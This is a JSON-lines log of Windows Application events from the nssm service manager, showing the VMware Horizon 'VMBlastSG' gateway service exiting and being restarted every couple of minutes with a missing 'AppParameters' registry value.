{"@timestamp":1646816145938,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165859}}
{"@timestamp":1646816145939,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","163692","0"]}}},"module":"Application","provider":"nssm","sequence":165860}}
{"@timestamp":1646816145939,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["163692","163692","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165861}}
{"@timestamp":1646816145957,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165862}}
{"@timestamp":1646816145957,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165863}}
{"@timestamp":1646816145958,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165864}}
{"@timestamp":1646816145958,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165865}}
{"@timestamp":1646816274458,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165866}}
{"@timestamp":1646816274460,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165867}}
{"@timestamp":1646816274462,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","163200","0"]}}},"module":"Application","provider":"nssm","sequence":165868}}
{"@timestamp":1646816274462,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["163200","163200","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165869}}
{"@timestamp":1646816274481,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165870}}
{"@timestamp":1646816274482,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165871}}
{"@timestamp":1646816274482,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165872}}
{"@timestamp":1646816274483,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165873}}
{"@timestamp":1646816402973,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165874}}
{"@timestamp":1646816402974,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165875}}
{"@timestamp":1646816402974,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162076","0"]}}},"module":"Application","provider":"nssm","sequence":165876}}
{"@timestamp":1646816402975,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162076","162076","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165877}}
{"@timestamp":1646816402993,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165878}}
{"@timestamp":1646816402993,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165879}}
{"@timestamp":1646816402994,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165880}}
{"@timestamp":1646816402995,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165881}}
{"@timestamp":1646816531505,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165882}}
{"@timestamp":1646816531507,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165883}}
{"@timestamp":1646816531508,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","163024","0"]}}},"module":"Application","provider":"nssm","sequence":165884}}
{"@timestamp":1646816531509,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["163024","163024","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165885}}
{"@timestamp":1646816531530,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162328","0"]}}},"module":"Application","provider":"nssm","sequence":165886}}
{"@timestamp":1646816531531,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162328","163024","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165887}}
{"@timestamp":1646816531551,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165888}}
{"@timestamp":1646816531552,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165889}}
{"@timestamp":1646816531552,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165890}}
{"@timestamp":1646816531553,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165891}}
{"@timestamp":1646816660280,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165892}}
{"@timestamp":1646816660281,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165893}}
{"@timestamp":1646816660283,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161832","0"]}}},"module":"Application","provider":"nssm","sequence":165894}}
{"@timestamp":1646816660284,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161832","161832","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165895}}
{"@timestamp":1646816660302,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165896}}
{"@timestamp":1646816660303,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165897}}
{"@timestamp":1646816660304,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165898}}
{"@timestamp":1646816660304,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165899}}
{"@timestamp":1646816788866,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165900}}
{"@timestamp":1646816788867,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165901}}
{"@timestamp":1646816788868,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","163524","0"]}}},"module":"Application","provider":"nssm","sequence":165902}}
{"@timestamp":1646816788868,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["163524","163524","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165903}}
{"@timestamp":1646816788895,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","163432","0"]}}},"module":"Application","provider":"nssm","sequence":165904}}
{"@timestamp":1646816788896,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1026,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["163432","VMBlastSG","The parameter is incorrect.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165905}}
{"@timestamp":1646816788913,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165906}}
{"@timestamp":1646816788914,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165907}}
{"@timestamp":1646816788914,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165908}}
{"@timestamp":1646816788915,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165909}}
{"@timestamp":1646816917373,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165910}}
{"@timestamp":1646816917375,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165911}}
{"@timestamp":1646816917376,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162100","0"]}}},"module":"Application","provider":"nssm","sequence":165912}}
{"@timestamp":1646816917376,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162100","162100","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165913}}
{"@timestamp":1646816917392,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165914}}
{"@timestamp":1646816917393,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165915}}
{"@timestamp":1646816917393,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165916}}
{"@timestamp":1646816917394,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165917}}
{"@timestamp":1646817046035,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165918}}
{"@timestamp":1646817046036,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165919}}
{"@timestamp":1646817046037,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","163196","0"]}}},"module":"Application","provider":"nssm","sequence":165920}}
{"@timestamp":1646817046037,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["163196","163196","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165921}}
{"@timestamp":1646817046054,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165922}}
{"@timestamp":1646817046055,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165923}}
{"@timestamp":1646817046055,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165924}}
{"@timestamp":1646817046056,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165925}}
{"@timestamp":1646817174537,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165926}}
{"@timestamp":1646817174539,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165927}}
{"@timestamp":1646817174540,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","163616","0"]}}},"module":"Application","provider":"nssm","sequence":165928}}
{"@timestamp":1646817174540,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["163616","163616","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165929}}
{"@timestamp":1646817174558,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165930}}
{"@timestamp":1646817174559,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165931}}
{"@timestamp":1646817174559,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165932}}
{"@timestamp":1646817174560,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165933}}
{"@timestamp":1646817303044,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165934}}
{"@timestamp":1646817303046,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165935}}
{"@timestamp":1646817303047,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","163352","0"]}}},"module":"Application","provider":"nssm","sequence":165936}}
{"@timestamp":1646817303047,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["163352","163352","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165937}}
{"@timestamp":1646817303064,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165938}}
{"@timestamp":1646817303064,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165939}}
{"@timestamp":1646817303065,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165940}}
{"@timestamp":1646817303066,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165941}}
{"@timestamp":1646817431798,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165942}}
{"@timestamp":1646817431800,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165943}}
{"@timestamp":1646817431801,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","163804","0"]}}},"module":"Application","provider":"nssm","sequence":165944}}
{"@timestamp":1646817431801,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["163804","163804","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165945}}
{"@timestamp":1646817431818,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165946}}
{"@timestamp":1646817431818,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165947}}
{"@timestamp":1646817431819,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165948}}
{"@timestamp":1646817431819,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165949}}
{"@timestamp":1646817560399,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165950}}
{"@timestamp":1646817560399,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165951}}
{"@timestamp":1646817560400,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","163748","0"]}}},"module":"Application","provider":"nssm","sequence":165952}}
{"@timestamp":1646817560400,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["163748","163748","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165953}}
{"@timestamp":1646817560418,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","163740","0"]}}},"module":"Application","provider":"nssm","sequence":165954}}
{"@timestamp":1646817560419,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["163740","163748","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165955}}
{"@timestamp":1646817560435,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165956}}
{"@timestamp":1646817560436,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":165957}}
{"@timestamp":1646817560436,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165958}}
{"@timestamp":1646817560437,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":165959}}
{"@timestamp":1646817688927,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":165960}}
{"@timestamp":1646817688929,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":165961}}
{"@timestamp":1646817688929,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162560","0"]}}},"module":"Application","provider":"nssm","sequence":165962}}
{"@timestamp":1646817688929,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162560","162560","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":165963}}
{"@timestamp":1646817688946,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":165964}}
